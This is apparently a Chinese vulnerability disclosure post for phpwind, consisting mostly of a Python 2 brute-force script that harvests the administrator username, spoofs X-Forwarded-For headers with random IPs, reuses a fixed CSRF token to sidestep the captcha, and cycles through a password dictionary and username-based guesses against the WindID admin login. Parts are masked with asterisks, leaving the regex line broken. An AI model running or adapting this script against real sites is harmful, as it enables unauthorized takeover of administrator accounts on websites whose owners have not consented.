phpwind后台帐号密码可爆破无视验证码 (有案例)

#coding:utf-8
 import httplib,re,random,urllib,time
 from sys import argv
 
 # 进行爆破 
 def getHtml(host,username,password):
  ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
  postHead={
   "Host":host,
   "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0",
   "X-Forwarded-For":ip,
   'Content-Type':'application/x-www-form-urlencoded',
   'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
   'Connection':'keep-alive',
   'Cookie':'csrf_token=wooyun'
   }
  postContent='username='+username+'&password='+password+'&submit=&csrf_token=wooyun'
  resultHtml=httplib.HTTPConnection(host, 80, False)
  resultHtml.request('POST','/windid/admin.php?a=login',body=postContent,headers = postHead )
  page=resultHtml.getresponse()
  pageConect=page.read()
  return pageConect
 
 #获取 formhash  和  seccodehidden
 def getusername(host):
  url='http://'+host+'/index.php?m=space&uid=1'
  pageContent=urllib.urlopen(url).read()
  r1=**.**.**.**pile('">(/S{1,30})的个人空间</a>')
  username=r1.findall(pageContent)[0]
  return username
 
 #通过argv获取 host 字典 间隔时间 进行爆破
 if(len(argv)==1):
  print '---->python '+argv[0]+' host地址 字典文件 间隔时间'
  print '---->python '+argv[0]+' **.**.**.** pass.txt 0.2'
 else:
  host=argv[1]
  passfile=argv[2]
  sleeptime=argv[3]
  print '网站host为  '+host
  print '密码字典为  '+passfile
  print '间隔时间为  '+sleeptime
  print '--->'
  username=getusername(host)
  f=open(passfile,'r')
  htmlpass=f.read().split('/r/n')
  f.close()
  userpass=[username+'123',username+'888',username+username,username+'..',username+'.',username+'admin888',username+'admin123',username+'admin',username+'123456']
  htmlpass=userpass+htmlpass
  for i in range(len(htmlpass)):
   time.sleep(float(sleeptime))
   print '正在尝试密码'+htmlpass[i]
   if(getHtml(host,username,htmlpass[i])==''):
    print '帐号为 '+username
    print '密码为 '+htmlpass[i]
    break

*****admin  *****
 *****dmin  ad*****
 ***** admin *****
 ****** admi*****
 ***** admin *****